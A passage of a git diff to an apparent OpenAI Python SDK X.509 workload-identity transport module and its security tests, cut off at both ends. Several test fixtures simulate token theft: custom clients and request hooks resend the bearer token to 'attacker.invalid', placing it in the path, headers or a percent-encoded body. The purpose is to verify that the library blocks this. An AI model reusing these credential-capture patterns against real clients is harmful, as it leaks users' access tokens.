vars(request).get("_content") - if isinstance(buffered_content, bytes) and b"%" in buffered_content: - buffered_content = unquote_to_bytes(buffered_content) - for scope in active_scopes: - if scope[2] is None or scope in matching_scopes: - continue - access_token = scope[2].removeprefix("Bearer ") - if access_token.encode() in decoded_query or ( - isinstance(buffered_content, bytes) and access_token.encode() in buffered_content - ): - matching_scopes.append(scope) - - if len({(scope[1].host, scope[1].port) for scope in matching_scopes}) > 1: - trusted_scope = request_scope is not None and (request is request_scope[0] or marked_scope) - if ( - trusted_scope - and request_scope is not None - and all(scope[2] == request_scope[2] for scope in matching_scopes) - ): - matching_scopes = [request_scope] - else: - raise OpenAIError("X.509 workload identity request cannot be associated with a single API origin") - - if request_scope is not None: - protected_authorization = request_scope[2] - if ( - request is request_scope[0] - or marked_scope - or ( - protected_authorization is not None and _request_contains_access_token(request, protected_authorization) - ) - ): - return request_scope - - if not matching_scopes: - return None - exact_scopes = [scope for scope in matching_scopes if authorization == scope[2]] - if exact_scopes: - matching_scopes = exact_scopes - same_origin = [ - scope for scope in matching_scopes if (request.url.host, request.url.port) == (scope[1].host, scope[1].port) - ] - return (same_origin if same_origin else matching_scopes)[0] - - -def _validate_guarded_client_dispatch(request: httpx2.Request) -> None: - request_scope = _active_request_transport_scope(request) - if request_scope is not None: - _validate_transport_request( - request, - expected_origin=request_scope[1], - expected_authorization=request_scope[2], - token_exchange=False, - ) - - -@contextmanager -def _guarded_client_redirects(http_client: Any, request: httpx2.Request, *, is_async: bool) -> Iterator[None]: - request_scope = _active_request_transport_scope(request) - if request_scope is None: - yield - return - - client_scope = _client_transport_scope(http_client, is_async=is_async) - marker = request.extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) - with client_scope._lock: - already_scoped = type(marker) is object and marker in client_scope._request_scopes - if already_scoped: - yield - return - - with client_scope.activate(request, request_scope[1], request_scope[2]): - yield - - -def _guard_client_dispatch_method(client_type: type[Any], *, is_async: bool) -> None: - original_dispatch = client_type._send_single_request - original_redirects = client_type._send_handling_redirects - original_auth = client_type._send_handling_auth - if is_async: - - @wraps(original_dispatch) - async def guarded_async_dispatch(client: Any, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: - _validate_guarded_client_dispatch(request) - return await original_dispatch(client, request, *args, **kwargs) - - guarded_dispatch: Any = guarded_async_dispatch - - @wraps(original_redirects) - async def guarded_async_redirects(client: Any, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: - with _guarded_client_redirects(client, request, is_async=True): - return await original_redirects(client, request, *args, **kwargs) - - guarded_redirects: Any = guarded_async_redirects - - @wraps(original_auth) - async def guarded_async_auth(client: Any, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: - with _guarded_client_redirects(client, request, is_async=True): - return await original_auth(client, request, *args, **kwargs) - - guarded_auth: Any = guarded_async_auth - else: - - @wraps(original_dispatch) - def guarded_sync_dispatch(client: Any, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: - _validate_guarded_client_dispatch(request) - return original_dispatch(client, request, *args, **kwargs) - - guarded_dispatch = guarded_sync_dispatch - - @wraps(original_redirects) - def guarded_sync_redirects(client: Any, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: - with _guarded_client_redirects(client, request, is_async=False): - return original_redirects(client, request, *args, **kwargs) - - guarded_redirects = guarded_sync_redirects - - @wraps(original_auth) - def guarded_sync_auth(client: Any, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: - with _guarded_client_redirects(client, request, is_async=False): - return original_auth(client, request, *args, **kwargs) - - guarded_auth = guarded_sync_auth - - _ORIGINAL_CLIENT_DISPATCH_METHODS[client_type] = ( - original_dispatch, - guarded_dispatch, - original_redirects, - guarded_redirects, - original_auth, - guarded_auth, - ) - client_type._send_single_request = guarded_dispatch - client_type._send_handling_redirects = guarded_redirects - client_type._send_handling_auth = guarded_auth - - -@contextmanager -def _active_client_send_guards() -> Iterator[None]: - with _CLIENT_SEND_GUARD_LOCK: - if _CLIENT_SEND_GUARD_STATE["users"] == 0: - client_types: list[tuple[type[Any], bool]] = [(httpx2.Client, False), (httpx2.AsyncClient, True)] - legacy_httpx = _loaded_legacy_httpx() - if legacy_httpx is None: - try: - importlib.import_module("httpx") - except ModuleNotFoundError as error: - if error.name != "httpx": - raise - else: - legacy_httpx = _loaded_legacy_httpx() - if legacy_httpx is not None: - client_types.extend([(legacy_httpx.Client, False), (legacy_httpx.AsyncClient, True)]) - for client_type, is_async in client_types: - if client_type not in _ORIGINAL_CLIENT_DISPATCH_METHODS: - _guard_client_dispatch_method(client_type, is_async=is_async) - _CLIENT_SEND_GUARD_STATE["users"] += 1 - - try: - yield - finally: - with _CLIENT_SEND_GUARD_LOCK: - _CLIENT_SEND_GUARD_STATE["users"] -= 1 - if _CLIENT_SEND_GUARD_STATE["users"] == 0: - for client_type, methods in _ORIGINAL_CLIENT_DISPATCH_METHODS.items(): - ( - original_dispatch, - guarded_dispatch, - original_redirects, - guarded_redirects, - original_auth, - guarded_auth, - ) = methods - if client_type._send_single_request is guarded_dispatch: - client_type._send_single_request = original_dispatch - if client_type._send_handling_redirects is guarded_redirects: - client_type._send_handling_redirects = original_redirects - if client_type._send_handling_auth is guarded_auth: - client_type._send_handling_auth = original_auth - _ORIGINAL_CLIENT_DISPATCH_METHODS.clear() - - -@contextmanager -def _active_client_transport_scopes( - http_client: httpx2.Client | httpx2.AsyncClient, - request: httpx2.Request, - expected_origin: httpx2.URL, - expected_authorization: str | None, - *, - is_async: bool, -) -> Iterator[None]: - client_types: tuple[type[Any], ...] = (httpx2.AsyncClient if is_async else httpx2.Client,) - legacy_httpx = _loaded_legacy_httpx() - if legacy_httpx is not None: - client_types += (legacy_httpx.AsyncClient if is_async else legacy_httpx.Client,) - pending = [http_client] - visited: set[int] = set() - with ExitStack() as scopes: - scopes.enter_context(_active_client_send_guards()) - while pending: - current = pending.pop() - if id(current) in visited: - continue - visited.add(id(current)) - scopes.enter_context( - _client_transport_scope(current, is_async=is_async).activate( - request, expected_origin, expected_authorization - ) - ) - values = list(vars(current).values()) - for owner in type(current).__mro__: - slots = owner.__dict__.get("__slots__", ()) - if isinstance(slots, str): - slots = (slots,) - for slot in slots: - if slot in ("__dict__", "__weakref__"): - continue - if slot.startswith("__") and not slot.endswith("__"): - slot = f"_{owner.__name__.lstrip('_')}{slot}" - values.append(getattr(current, slot, None)) - - for value in values: - if isinstance(value, client_types): - pending.append(value) - yield - - def _scoped_sync_client( http_client: httpx2.Client, *, @@ -1126,7 +209,16 @@ def _scoped_sync_client( client_type = httpx2.Client if legacy_httpx is not None and not isinstance(cast(object, http_client), httpx2.Client): client_type = legacy_httpx.Client - return client_type(transport=transport, timeout=http_client.timeout, event_hooks=None, trust_env=False) + scoped_client = client_type( + transport=transport, + timeout=http_client.timeout, + event_hooks=None if token_exchange else http_client.event_hooks, + default_encoding=http_client._default_encoding, + trust_env=False, + ) + if not token_exchange: + scoped_client._cookies = http_client.cookies + return scoped_client def _scoped_async_client( @@ -1146,7 +238,16 @@ def _scoped_async_client( client_type = httpx2.AsyncClient if legacy_httpx is not None and not isinstance(cast(object, http_client), httpx2.AsyncClient): client_type = legacy_httpx.AsyncClient - return client_type(transport=transport, timeout=http_client.timeout, event_hooks=None, trust_env=False) + scoped_client = client_type( + transport=transport, + timeout=http_client.timeout, + event_hooks=None if token_exchange else http_client.event_hooks, + default_encoding=http_client._default_encoding, + trust_env=False, + ) + if not token_exchange: + scoped_client._cookies = http_client.cookies + return scoped_client def _as_finite_float(value: object) -> float | None: @@ -1326,10 +427,7 @@ def _transport_errors() -> tuple[type[Exception], ...]: return (httpx2.TransportError, legacy_transport_error) -def _raise_transport_error(error: Exception) -> NoReturn: - request = cast(httpx2.Request | None, getattr(error, "request", None)) - if request is None: - raise OpenAIError("X.509 token exchange connection failed") from error +def _raise_transport_error(error: Exception, *, request: httpx2.Request) -> NoReturn: if isinstance(error, timeout_exceptions()): raise APITimeoutError(request=request) from error raise APIConnectionError(request=request) from error @@ -1438,13 +536,11 @@ def send_api_request( stream: bool, **kwargs: Any, ) -> httpx2.Response: - if self._http_client.is_closed: - raise RuntimeError("Cannot send a request, as the client has been closed.") - with _active_client_transport_scopes( - self._http_client, request, expected_origin, expected_authorization, is_async=False - ): + with _scoped_sync_client( + self._http_client, expected_origin=expected_origin, expected_authorization=expected_authorization + ) as scoped_client: kwargs.setdefault("auth", None) - return self._http_client.send(request, stream=stream, **kwargs) + return scoped_client.send(request, stream=stream, **kwargs) def get_token_for_request(self, request: httpx2.Request) -> str: timeout_token = _EXCHANGE_REQUEST_TIMEOUT.set(request.extensions.get("timeout")) @@ -1464,6 +560,7 @@ def get_token_for_request(self, request: httpx2.Request) -> str: @override def _fetch_token_from_exchange(self) -> dict[str, Any]: for attempt in range(self._max_exchange_retries + 1): + exchange_request = _token_exchange_request(self.workload_identity, http_client=self._http_client) try: with _scoped_sync_client( self._http_client, @@ -1471,13 +568,13 @@ def _fetch_token_from_exchange(self) -> dict[str, Any]: token_exchange=True, ) as scoped_client: response = scoped_client.send( - _token_exchange_request(self.workload_identity, http_client=self._http_client), + exchange_request, auth=None, follow_redirects=False, ) except _transport_errors() as error: if attempt >= self._max_exchange_retries: - _raise_transport_error(error) + _raise_transport_error(error, request=exchange_request) delay = _retry_delay(None, attempt) else: delay = _retry_delay(response, attempt) @@ -1509,13 +606,11 @@ async def send_api_request( stream: bool, **kwargs: Any, ) -> httpx2.Response: - if self._http_client.is_closed: - raise RuntimeError("Cannot send a request, as the client has been closed.") - with _active_client_transport_scopes( - self._http_client, request, expected_origin, expected_authorization, is_async=True - ): + async with _scoped_async_client( + self._http_client, expected_origin=expected_origin, expected_authorization=expected_authorization + ) as scoped_client: kwargs.setdefault("auth", None) - return await self._http_client.send(request, stream=stream, **kwargs) + return await scoped_client.send(request, stream=stream, **kwargs) async def get_token_for_request(self, request: httpx2.Request) -> str: timeout_token = _EXCHANGE_REQUEST_TIMEOUT.set(request.extensions.get("timeout")) @@ -1552,6 +647,7 @@ async def get_token_async(self) -> str: async def _fetch_token_from_exchange_async(self) -> dict[str, Any]: for attempt in range(self._max_exchange_retries + 1): + exchange_request = _token_exchange_request(self.workload_identity, http_client=self._http_client) try: async with _scoped_async_client( self._http_client, @@ -1559,13 +655,13 @@ async def _fetch_token_from_exchange_async(self) -> dict[str, Any]: token_exchange=True, ) as scoped_client: response = await scoped_client.send( - _token_exchange_request(self.workload_identity, http_client=self._http_client), + exchange_request, auth=None, follow_redirects=False, ) except _transport_errors() as error: if attempt >= self._max_exchange_retries: - _raise_transport_error(error) + _raise_transport_error(error, request=exchange_request) delay = _retry_delay(None, attempt) else: delay = _retry_delay(response, attempt) diff --git a/tests/test_x509_workload_identity_hardening.py b/tests/test_x509_workload_identity_hardening.py index fa0ecaba76..46c5496751 100644 --- a/tests/test_x509_workload_identity_hardening.py +++ b/tests/test_x509_workload_identity_hardening.py @@ -27,6 +27,18 @@ } +class _RequestlessConnectError(httpx2.ConnectError): + @property + @override + def request(self) -> httpx2.Request: + raise RuntimeError("The .request property has not been set.") + + @request.setter + def request(self, request: httpx2.Request) -> None: + del request + return None + + def _identity() -> X509WorkloadIdentity: return x509_workload_identity(identity_provider_id="idp_example", service_account_id="svc_example") @@ -502,7 +514,8 @@ async def test_async_x509_client_copies_keep_authentication_caches_independent() assert len(exchanges) == 5 -def test_sync_x509_uses_unexpired_token_when_proactive_refresh_temporarily_fails() -> None: +@pytest.mark.parametrize("requestless", [False, True]) +def test_sync_x509_uses_unexpired_token_when_proactive_refresh_temporarily_fails(requestless: bool) -> None: requests: list[httpx2.Request] = [] exchange_count = 0 @@ -512,6 +525,8 @@ def handler(request: httpx2.Request) -> httpx2.Response: if str(request.url) == _TOKEN_URL: exchange_count += 1 if exchange_count > 1: + if requestless: + raise _RequestlessConnectError("temporary failure") raise httpx2.ConnectError("temporary failure", request=request) return _response(request) @@ -527,7 +542,8 @@ def handler(request: httpx2.Request) -> httpx2.Response: client.models.list() -async def test_async_x509_uses_unexpired_token_when_proactive_refresh_temporarily_fails() -> None: +@pytest.mark.parametrize("requestless", [False, True]) +async def test_async_x509_uses_unexpired_token_when_proactive_refresh_temporarily_fails(requestless: bool) -> None: requests: list[httpx2.Request] = [] exchange_count = 0 @@ -537,6 +553,8 @@ def handler(request: httpx2.Request) -> httpx2.Response: if str(request.url) == _TOKEN_URL: exchange_count += 1 if exchange_count > 1: + if requestless: + raise _RequestlessConnectError("temporary failure") raise httpx2.ConnectError("temporary failure", request=request) return _response(request) @@ -938,95 +956,6 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert second.object == "list" -def test_sync_x509_rejects_ambiguous_reconstructed_requests_across_protected_origins() -> None: - arrived = threading.Barrier(2) - first_finished = threading.Event() - captured: list[httpx2.Request] = [] - - def handler(request: httpx2.Request) -> httpx2.Response: - captured.append(request) - return _response(request, token="shared-token") - - class CrossOriginClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - arrived.wait(timeout=5) - if request.url.host == "private.example": - assert first_finished.wait(timeout=5) - return super().send(request, **kwargs) - copied = httpx2.Request(request.method, "https://private.example/v1/models", headers=dict(request.headers)) - copied.headers["host"] = "private.example" - try: - with ThreadPoolExecutor(max_workers=1) as executor: - return executor.submit(super().send, copied, **kwargs).result() - finally: - first_finished.set() - - transport = CrossOriginClient(transport=httpx2.MockTransport(handler)) - clients = [ - OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0), - OpenAI( - workload_identity=_identity(), base_url="https://private.example/v1", http_client=transport, max_retries=0 - ), - ] - - with ThreadPoolExecutor(max_workers=2) as executor: - requests = [executor.submit(client.models.list) for client in clients] - with pytest.raises(OpenAIError, match="origin|associated"): - requests[0].result(timeout=5) - assert requests[1].result(timeout=5).object == "list" - - assert [str(request.url) for request in captured if request.url.host == "private.example"] == [ - "https://private.example/v1/models" - ] - - -async def test_async_x509_rejects_ambiguous_reconstructed_requests_across_protected_origins() -> None: - arrived = 0 - both_arrived = asyncio.Event() - first_finished = asyncio.Event() - captured: list[httpx2.Request] = [] - - def handler(request: httpx2.Request) -> httpx2.Response: - captured.append(request) - return _response(request, token="shared-token") - - class CrossOriginClient(httpx2.AsyncClient): - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - nonlocal arrived - arrived += 1 - if arrived == 2: - both_arrived.set() - await asyncio.wait_for(both_arrived.wait(), timeout=5) - if request.url.host == "private.example": - await asyncio.wait_for(first_finished.wait(), timeout=5) - return await super().send(request, **kwargs) - copied = httpx2.Request(request.method, "https://private.example/v1/models", headers=dict(request.headers)) - copied.headers["host"] = "private.example" - try: - return await Context().run(asyncio.create_task, super().send(copied, **kwargs)) - finally: - first_finished.set() - - transport = CrossOriginClient(transport=httpx2.MockTransport(handler)) - clients = [ - AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0), - AsyncOpenAI( - workload_identity=_identity(), base_url="https://private.example/v1", http_client=transport, max_retries=0 - ), - ] - - responses = await asyncio.gather(*(client.models.list() for client in clients), return_exceptions=True) - assert isinstance(responses[0], OpenAIError) - second = responses[1] - assert not isinstance(second, BaseException) - assert second.object == "list" - assert [str(request.url) for request in captured if request.url.host == "private.example"] == [ - "https://private.example/v1/models" - ] - - def _record(requests: list[httpx2.Request], request: httpx2.Request) -> httpx2.Response: requests.append(request) return _response(request) diff --git a/tests/test_x509_workload_identity_transport.py b/tests/test_x509_workload_identity_transport.py index 76d005e6cf..58944231cd 100644 --- a/tests/test_x509_workload_identity_transport.py +++ b/tests/test_x509_workload_identity_transport.py @@ -1,31 +1,17 @@ from __future__ import annotations -import os -import sys -import json -import asyncio -import importlib -import threading -import subprocess -from typing import Any, Generator, AsyncGenerator, cast -from textwrap import dedent -from contextvars import Context +from typing import Any from typing_extensions import override -from concurrent.futures import ThreadPoolExecutor import httpx2 import pytest from openai import OpenAI, AsyncOpenAI, OpenAIError from openai.auth import X509WorkloadIdentity, x509_workload_identity -from openai.auth._x509 import ( - _ACTIVE_AUXILIARY_TRANSPORT_MARKERS, - _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES, - _client_transport_scope, - _FinalizingRequestHooks, -) _TOKEN_URL = "https://mtls.auth.openai.com/oauth/token" + + _API_URL = "https://mtls.api.openai.com/v1/models" @@ -44,6 +30,140 @@ def _record(requests: list[httpx2.Request], request: httpx2.Request) -> httpx2.R return _response(request) +@pytest.mark.parametrize("credential_location", ["path", "nested_body"]) +def test_sync_x509_never_exposes_protected_dispatch_to_custom_send(credential_location: str) -> None: + requests: list[httpx2.Request] = [] + custom_sends: list[httpx2.Request] = [] + + class ReconstructingClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + custom_sends.append(request) + if request.url.host == "mtls.api.openai.com": + token = request.headers["Authorization"].removeprefix("Bearer ") + url = ( + f"https://attacker.invalid/{token}" if credential_location == "path" else "https://attacker.invalid" + ) + content = token.replace("-", "%252D").encode() if credential_location == "nested_body" else None + return self.send(httpx2.Request("POST", url, content=content), **kwargs) + return super().send(request, **kwargs) + + transport = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + with OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + assert client.models.list().object == "list" + + assert custom_sends == [] + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + + +@pytest.mark.parametrize("credential_location", ["path", "nested_body"]) +async def test_async_x509_never_exposes_protected_dispatch_to_custom_send(credential_location: str) -> None: + requests: list[httpx2.Request] = [] + custom_sends: list[httpx2.Request] = [] + + class ReconstructingClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + custom_sends.append(request) + if request.url.host == "mtls.api.openai.com": + token = request.headers["Authorization"].removeprefix("Bearer ") + url = ( + f"https://attacker.invalid/{token}" if credential_location == "path" else "https://attacker.invalid" + ) + content = token.replace("-", "%252D").encode() if credential_location == "nested_body" else None + return await self.send(httpx2.Request("POST", url, content=content), **kwargs) + return await super().send(request, **kwargs) + + transport = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + async with AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + assert (await client.models.list()).object == "list" + + assert custom_sends == [] + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + + +def test_sync_x509_does_not_install_process_wide_dispatch_guards() -> None: + requests: list[httpx2.Request] = [] + original_dispatch = httpx2.Client._send_single_request + + def hook(request: httpx2.Request) -> None: + if request.url.host == "mtls.api.openai.com": + assert httpx2.Client._send_single_request is original_dispatch + assert transport.post("https://telemetry.example/collect", content=b"%41" * 1024).status_code == 200 + + transport = httpx2.Client( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), event_hooks={"request": [hook]} + ) + with OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + assert client.models.list().object == "list" + + assert httpx2.Client._send_single_request is original_dispatch + assert [request.url.host for request in requests] == [ + "mtls.auth.openai.com", + "telemetry.example", + "mtls.api.openai.com", + ] + + +async def test_async_x509_does_not_install_process_wide_dispatch_guards() -> None: + requests: list[httpx2.Request] = [] + original_dispatch = httpx2.AsyncClient._send_single_request + + async def hook(request: httpx2.Request) -> None: + if request.url.host == "mtls.api.openai.com": + assert httpx2.AsyncClient._send_single_request is original_dispatch + assert (await transport.post("https://telemetry.example/collect", content=b"%41" * 1024)).status_code == 200 + + transport = httpx2.AsyncClient( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), event_hooks={"request": [hook]} + ) + async with AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + assert (await client.models.list()).object == "list" + + assert httpx2.AsyncClient._send_single_request is original_dispatch + assert [request.url.host for request in requests] == [ + "mtls.auth.openai.com", + "telemetry.example", + "mtls.api.openai.com", + ] + + +def test_sync_x509_preserves_explicit_sni_for_custom_origins() -> None: + requests: list[httpx2.Request] = [] + + def hook(request: httpx2.Request) -> None: + request.extensions["sni_hostname"] = "private-pki.example" + + transport = httpx2.Client( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), event_hooks={"request": [hook]} + ) + with OpenAI( + workload_identity=_identity(), http_client=transport, base_url="https://custom.example/v1", max_retries=0 + ) as client: + assert client.models.list().object == "list" + + assert [str(request.url) for request in requests] == [_TOKEN_URL, "https://custom.example/v1/models"] + assert requests[-1].extensions["sni_hostname"] == "private-pki.example" + + +async def test_async_x509_preserves_explicit_sni_for_custom_origins() -> None: + requests: list[httpx2.Request] = [] + + async def hook(request: httpx2.Request) -> None: + request.extensions["sni_hostname"] = "private-pki.example" + + transport = httpx2.AsyncClient( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), event_hooks={"request": [hook]} + ) + async with AsyncOpenAI( + workload_identity=_identity(), http_client=transport, base_url="https://custom.example/v1", max_retries=0 + ) as client: + assert (await client.models.list()).object == "list" + + assert [str(request.url) for request in requests] == [_TOKEN_URL, "https://custom.example/v1/models"] + assert requests[-1].extensions["sni_hostname"] == "private-pki.example" + + @pytest.mark.parametrize("extension", ["sni_hostname", "target"]) def test_sync_x509_rejects_conflicting_transport_extensions_on_openai_mtls_origins(extension: str) -> None: requests: list[httpx2.Request] = [] @@ -126,2642 +246,177 @@ async def hook(request: httpx2.Request) -> None: assert [str(request.url) for request in requests] == [_TOKEN_URL] -@pytest.mark.parametrize("hook_mutation", ["clear", "append"]) -def test_sync_x509_validates_destination_after_request_hooks_mutate_the_hook_list(hook_mutation: str) -> None: - requests: list[httpx2.Request] = [] - http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - - def redirect(request: httpx2.Request) -> None: - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - http_client._transport = httpx2.MockTransport(lambda redirected: _record(requests, redirected)) - http_client._mounts.clear() +def test_sync_x509_does_not_traverse_unrelated_custom_client_state() -> None: + class UninspectableHistory(dict[str, object]): + @override + def values(self) -> Any: + raise AssertionError("unrelated application-owned request history was traversed") - def hook(request: httpx2.Request) -> None: - if hook_mutation == "clear": - http_client.event_hooks["request"].clear() - redirect(request) - else: - http_client.event_hooks["request"].append(redirect) + http_client = httpx2.Client(transport=httpx2.MockTransport(_response)) + vars(http_client)["request_history"] = UninspectableHistory({"nested": {"large": [object()]}}) - http_client.event_hooks["request"].append(hook) with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin"): - client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - + assert client.models.list().object == "list" -@pytest.mark.parametrize("hook_mutation", ["clear", "append"]) -async def test_async_x509_validates_destination_after_request_hooks_mutate_the_hook_list(hook_mutation: str) -> None: - requests: list[httpx2.Request] = [] - http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - async def redirect(request: httpx2.Request) -> None: - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - http_client._transport = httpx2.MockTransport(lambda redirected: _record(requests, redirected)) - http_client._mounts.clear() +async def test_async_x509_does_not_traverse_unrelated_custom_client_state() -> None: + class UninspectableHistory(dict[str, object]): + @override + def values(self) -> Any: + raise AssertionError("unrelated application-owned request history was traversed") - async def hook(request: httpx2.Request) -> None: - if hook_mutation == "clear": - http_client.event_hooks["request"].clear() - await redirect(request) - else: - http_client.event_hooks["request"].append(redirect) + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(_response)) + vars(http_client)["request_history"] = UninspectableHistory({"nested": {"large": [object()]}}) - http_client.event_hooks["request"].append(hook) async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin"): - await client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - + assert (await client.models.list()).object == "list" -@pytest.mark.parametrize( - ("redirect", "authorization", "copy_extensions"), - [ - (False, None, True), - (False, None, False), - (True, None, True), - (True, None, False), - (True, "bearer access-token", True), - (True, "bearer access-token", False), - (True, "Bearer substituted-token", True), - (True, "Bearer substituted-token", False), - (True, "Basic access-token", False), - (True, "Bearer access%2Dtoken", False), - ], -) -def test_sync_x509_validates_requests_reconstructed_by_custom_clients( - redirect: bool, authorization: str | None, copy_extensions: bool -) -> None: - requests: list[httpx2.Request] = [] - class ReconstructingClient(httpx2.Client): +def test_sync_x509_keeps_equal_http_clients_in_distinct_security_scopes() -> None: + class EqualClient(httpx2.Client): @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - url = "https://attacker.invalid/capture" if redirect else str(request.url) - extensions = request.extensions if copy_extensions else None - copied = httpx2.Request(request.method, url, headers=dict(request.headers), extensions=extensions) - if redirect: - copied.headers["host"] = "attacker.invalid" - if authorization is not None: - copied.headers["authorization"] = authorization - return super().send(copied, **kwargs) - - http_client = ReconstructingClient( - transport=httpx2.MockTransport(lambda request: _record(requests, request)), trust_env=False - ) - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - if redirect: - with pytest.raises(OpenAIError, match="configured API origin"): - client.models.list() - else: - assert client.models.list().object == "list" - - expected = [_TOKEN_URL] if redirect else [_TOKEN_URL, _API_URL] - assert [str(request.url) for request in requests] == expected - - -@pytest.mark.parametrize( - ("redirect", "authorization", "copy_extensions"), - [ - (False, None, True), - (False, None, False), - (True, None, True), - (True, None, False), - (True, "bearer access-token", True), - (True, "bearer access-token", False), - (True, "Bearer substituted-token", True), - (True, "Bearer substituted-token", False), - (True, "Basic access-token", False), - (True, "Bearer access%2Dtoken", False), - ], -) -async def test_async_x509_validates_requests_reconstructed_by_custom_clients( - redirect: bool, authorization: str | None, copy_extensions: bool -) -> None: - requests: list[httpx2.Request] = [] + def __eq__(self, other: object) -> bool: + return isinstance(other, EqualClient) - class ReconstructingClient(httpx2.AsyncClient): @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - url = "https://attacker.invalid/capture" if redirect else str(request.url) - extensions = request.extensions if copy_extensions else None - copied = httpx2.Request(request.method, url, headers=dict(request.headers), extensions=extensions) - if redirect: - copied.headers["host"] = "attacker.invalid" - if authorization is not None: - copied.headers["authorization"] = authorization - return await super().send(copied, **kwargs) - - http_client = ReconstructingClient( - transport=httpx2.MockTransport(lambda request: _record(requests, request)), trust_env=False - ) - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - if redirect: - with pytest.raises(OpenAIError, match="configured API origin"): - await client.models.list() - else: - assert (await client.models.list()).object == "list" - - expected = [_TOKEN_URL] if redirect else [_TOKEN_URL, _API_URL] - assert [str(request.url) for request in requests] == expected - + def __hash__(self) -> int: + return 1 -@pytest.mark.parametrize("authorization", ["Bearer substituted-token", "Bearer access%2Dtoken"]) -@pytest.mark.parametrize("copy_access_token", [False, True]) -def test_sync_x509_rejects_recursively_reconstructed_protected_requests( - authorization: str, copy_access_token: bool -) -> None: - requests: list[httpx2.Request] = [] + first_requests: list[httpx2.Request] = [] + second_requests: list[httpx2.Request] = [] + first_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(first_requests, request))) + second_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(second_requests, request))) - class ReconstructingClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - copied = httpx2.Request( - request.method, "https://attacker.invalid/capture", headers=dict(request.headers) - ) - copied.headers["host"] = "attacker.invalid" - copied.headers["Authorization"] = authorization - if copy_access_token: - copied.headers["X-Copied-Credential"] = request.headers["Authorization"] - return self.send(copied, **kwargs) - return super().send(request, **kwargs) + def redirect(request: httpx2.Request) -> None: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" - http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - client.models.list() + second_transport.event_hooks["request"].append(redirect) + with OpenAI(workload_identity=_identity(), http_client=first_transport, max_retries=0) as first: + assert first.models.list().object == "list" + with OpenAI(workload_identity=_identity(), http_client=second_transport, max_retries=0) as second: + with pytest.raises(OpenAIError, match="configured API origin"): + second.models.list() - assert [str(request.url) for request in requests] == [_TOKEN_URL] + assert [str(request.url) for request in second_requests] == [_TOKEN_URL] -@pytest.mark.parametrize("authorization", ["Bearer substituted-token", "Bearer access%2Dtoken"]) -@pytest.mark.parametrize("copy_access_token", [False, True]) -async def test_async_x509_rejects_recursively_reconstructed_protected_requests( - authorization: str, copy_access_token: bool -) -> None: - requests: list[httpx2.Request] = [] +async def test_async_x509_keeps_equal_http_clients_in_distinct_security_scopes() -> None: + class EqualClient(httpx2.AsyncClient): + @override + def __eq__(self, other: object) -> bool: + return isinstance(other, EqualClient) - class ReconstructingClient(httpx2.AsyncClient): @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - copied = httpx2.Request( - request.method, "https://attacker.invalid/capture", headers=dict(request.headers) - ) - copied.headers["host"] = "attacker.invalid" - copied.headers["Authorization"] = authorization - if copy_access_token: - copied.headers["X-Copied-Credential"] = request.headers["Authorization"] - return await self.send(copied, **kwargs) - return await super().send(request, **kwargs) + def __hash__(self) -> int: + return 1 - http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - await client.models.list() + first_requests: 